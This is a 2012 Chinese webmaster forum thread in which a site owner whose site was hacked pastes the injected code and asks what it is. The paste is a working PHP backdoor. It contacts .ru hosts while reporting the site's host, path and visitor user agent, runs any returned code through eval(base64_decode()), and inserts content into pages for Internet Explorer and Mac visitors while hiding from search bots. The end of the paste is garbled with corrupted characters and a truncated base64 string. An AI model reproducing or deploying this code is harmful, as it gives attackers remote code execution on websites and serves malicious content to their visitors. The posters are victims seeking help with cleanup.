网站被黑了都加入了如下代码如何解决？
本帖最后由 ATOM 于 2012-3-6 22:40 编辑网站被黑了都加入了如下代码如何解决？[*]复制代码 这是什么代码？？ 清理掉
master 发表于 2012-3-6 22:40
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如何找到是从哪个站黑的？ if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){$_SERVER['mr_no']=1; if(!function_exists('mrobh')){ function get_tds_777($url){$content="";$content=@trycurl_777($url);if($content!==false)return $content;$content=@tryfile_777($url);if($content!==false)return $content;$content=@tryfopen_777($url);if($content!==false)return $content;$content=@tryfsockopen_777($url);if($content!==false)return $content;$content=@trysocket_777($url);if($content!==false)return $content;return '';}function trycurl_777($url){if(function_exists('curl_init')===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result=="")return false;return $result;}function tryfile_777($url){if(function_exists('file')===false)return false;$inc=@file($url);$buf=@implode('',$inc);if ($buf=="")return false;return $buf;}function tryfopen_777($url){if(function_exists('fopen')===false)return false;$buf='';$f=@fopen($url,'r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf=="")return false;return $buf;}function tryfsockopen_777($url){if(function_exists('fsockopen')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";fwrite($f,$request);$buf='';while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}function trysocket_777($url){if(function_exists('socket_create')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";socket_write($sock,$request);$buf='';while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}function update_tds_file_777($tdsfile){$actual1=$_SERVER['s_a1'];$actual2=$_SERVER['s_a2'];$val=get_tds_777($actual1);if ($val=="")$val=get_tds_777($actual2);$f=@fopen($tdsfile,"w");if ($f){@fwrite($f,$val);@fclose($f);}if (strstr($val," CODE ")){list($val,$code)=explode(" CODE ",$val);eval(base64_decode($code));}return $val;}function get_actual_tds_777(){$defaultdomain=$_SERVER['s_d1'];$dir=$_SERVER['s_p1'];$tdsfile=$dir."log1.txt";if (@file_exists($tdsfile)){$mtime=@filemtime($tdsfile);$ctime=time()-$mtime;if ($ctime>$_SERVER['s_t1']){$content=update_tds_file_777($tdsfile);}else{$content=@file_get_contents($tdsfile);}}else{$content=update_tds_file_777($tdsfile);}$tds=@explode("\n",$content);$c=@count($tds)+0;$url=$defaultdomain;if ($c>1){$url=trim($tds);}return $url;}function is_mac_777($ua){$mac=0;if (stristr($ua,"mac")||stristr($ua,"safari"))if ((!stristr($ua,"windows"))&&(!stristr($ua,"iphone")))$mac=1;retuarn $mac;}function is_msie_777($ua){$msie=0;if (stristr($ua,"MSIE 6")||stristr($ua,"MSIE 7")||stristr($ua,"MSIE 8")||stristr($ua,"MSIE 9"))$msie=1;return $msie;} function setup_globals_777(){$rz=$_SERVER["DOCUMENT_ROOT"]."/.logs/";$mz="/tmp/";if (!is_dir($rz)){@mkdir($rz);if (is_dir($rz)){$mz=$rz;}else{$rz=$_SERVER["SCRIPT_FILENAME"]."/.logs/";if (!is_dir($rz)){@mkdir($rz);if (is_dir($rz)){$mz=$rz;}}else{$mz=$rz;}}}else{$mz=$rz;}$bot=0;$ua=$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;if (stristr($ua,"bingbot")||stristr($ua,"google"))$bot=1;$msie=0;if (is_msie_777($ua))$msie=1;$mac=0;if (is_mac_777($ua))$mac=1;if (($msie==0)&&($mac==0))$bot=1;global $_SERVER; $_SERVER['s_p1']=$mz;$_SERVER['s_b1']=$bot;$_SERVER['s_t1']=1200;$_SERVER['s_d1']="http://sweepstakesandcontestsdo.com/";$d='?d='.urlencode($_SERVER["HTTP_HOST"])."&p=".urlencode($_SERVER["PHP_SELF"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]);$_SERVER['s_a1']='http://www.mrsmtihinfo.ru/g_load.php'.$d;$_SERVER['s_a2']='http://www.cooperjsutf8.ru/g_load.php'.$d;$_SERVER['s_script']="nl.php?p=d";} setup_globals_777(); if(!function_exists('gml_777')){function gml_777(){ $r_string_777='';if ($_SERVER['s_b1']==0)$r_string_777='';return $r_string_777;}} if(!function_exists('gzdecodeit')){function gzdecodeit($decode){$t=@ord(@substr($decode,3,1));$start=10;$v=0;if($t&4){$str=@unpack('v',substr($decode,10,2));$str=$str;$start+=2+$str;}if($t&8){$start=@strpos($decode,chr(0),$start)+1;}if($t&16){$start=@strpos($decode,chr(0),$start)+1;}if($t&2){$start+=2;}$ret=@gzinflate(@substr($decode,$start));if($ret===FALSE){$ret=$decode;}return $ret;}}function mrobh($content){@Header('Content-Encoding: none');$decoded_content=gzdecodeit($content);if(preg_match('/\]*\>)/si',gml_777()."\n".'$1',$decoded_content); A?暠蜁靲伾曆丈竴憫晬綉晳}嵔寡暪泄澋眧苘軤れ€侓€侓€伣墋脱吷袪澋山墵湦靲侓€侓 QpOyA高墙Vsc2V7ICByZXR1cm4gJGRlY29kZWRfY29udGVudC5nbWxfNzc3KCk7ICB9ICB9ICBvYl9zdGFydCgnbXJvYmgnKTsgIH0gIH0K"));?>
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